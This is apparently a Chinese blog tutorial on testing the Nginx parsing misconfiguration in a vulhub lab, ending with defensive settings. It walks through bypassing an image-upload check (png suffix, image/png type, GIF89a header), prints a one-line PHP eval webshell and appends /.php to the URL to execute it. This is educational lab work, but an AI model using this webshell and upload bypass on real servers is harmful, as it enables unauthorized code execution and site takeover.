中间件安全:Nginx 解析漏洞测试.

中间件安全:Nginx 解析漏洞测试.

Nginx 是一个高性能的 HTTP和 反向代理服务器,Nginx 解析漏洞是一个由于配置不当导致的安全问题,它不依赖于Nginx或PHP的特定版本,而是由于用户配置错误造成的。这个漏洞允许攻击者上传看似无害的文件,例如图片格式的文件,但实际上这些文件中包含了PHP代码。当这些文件被请求时,由于配置错误,Nginx会将这些文件作为PHP文件执行,从而可能允许攻击者执行任意代码。


目录:

[中间件安全:Nginx 解析漏洞测试.](#中间件安全:Nginx 解析漏洞测试.)

漏洞的危害:

靶场搭建:

(1)切换到环境目录.

(2)开启环境.

[(3)直接访问目标主机的 IP 地址就行.](#(3)直接访问目标主机的 IP 地址就行.)

[Nginx 解析漏洞测试:](#Nginx 解析漏洞测试:)

[(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.](#(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.)

(2)我们进行抓包,把修改文件后缀名png

(3)访问我们上传的文件是否存在.

[提高控制权,上传 webshell](#提高控制权,上传 webshell)

[(1)写一个 Webshell 的连接.](#(1)写一个 Webshell 的连接.)

(2)上传进行抓包,修改文件后缀名png

(3)访问我们上传的文件是否存在.

[(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php](#(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php)

[(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.](#(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.)

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。

(2)在系统上线前对敏感配置文件进行检查。

[(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0](#(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0)


漏洞的危害:

(1)攻击者可以绕过文件上传的检测,上传恶意文件。

(2)攻击者可以利用该漏洞执行系统命令,窃取或篡改数据。

(3)攻击者可能在服务器上留下后门,进一步控制服务器或内网。


靶场搭建:

环境搭建: Web安全:iwebsec || vulhub 靶场搭建.


(1)切换到环境目录.
复制代码
vulhub/nginx/nginx_parsing_vulnerability

(2)开启环境.
复制代码
sudo docker-compose up -d

(3)直接访问目标主机的 IP 地址就行.

Nginx 解析漏洞测试:

(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.

(2)我们进行抓包,把修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php


提高控制权,上传 webshell

(1)写一个 Webshell 的连接.
复制代码
<?php                                //一句话木马程序
    @eval($_POST['bgxg']);
?>

(2)上传进行抓包,修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php

(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。
(2)在系统上线前对敏感配置文件进行检查。
(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0
相关推荐
德迅云安全-上官6 小时前
DDoS 安全防护在企业安全防护中的作用
安全·ddos
糖果店的幽灵7 小时前
【DeepAgents 从入门到精通】Context Management 上下文管理
java·人工智能·后端·spring·中间件·langgraph·deepagents
CodexDave9 小时前
MySQL事务隔离级别与MVCC机制解析
前端·数据库·mysql·nginx·性能优化·负载均衡
王维同学12 小时前
[自学][Windows C++]RunOnceEx 注册表分组键的安全遍历
c++·windows·安全·开源
川石课堂软件测试14 小时前
安全测试|常见SQL注入攻击方式、实例及预防
服务器·数据库·sql·功能测试·测试工具·安全·单元测试
上海云盾-小余14 小时前
中小站点防护避坑:低价高防服务存在的各类安全短板剖析
网络·爬虫·安全·ddos
武子康15 小时前
从恶意 Dataset 到横向移动:一套可落地的 Dataset Processing Threat Model(资产边界 + 威胁枚举 + 5 层控制)
人工智能·安全
羽翼安全15 小时前
企业内网终端可视化风控方案解析,电脑屏幕防泄露系统保障数据资产安全
安全
数据知道17 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
qizayaoshuap17 小时前
# [特殊字符] 密码生成器 — 鸿蒙ArkTS安全算法与密码强度评估系统
java·算法·安全·华为·harmonyos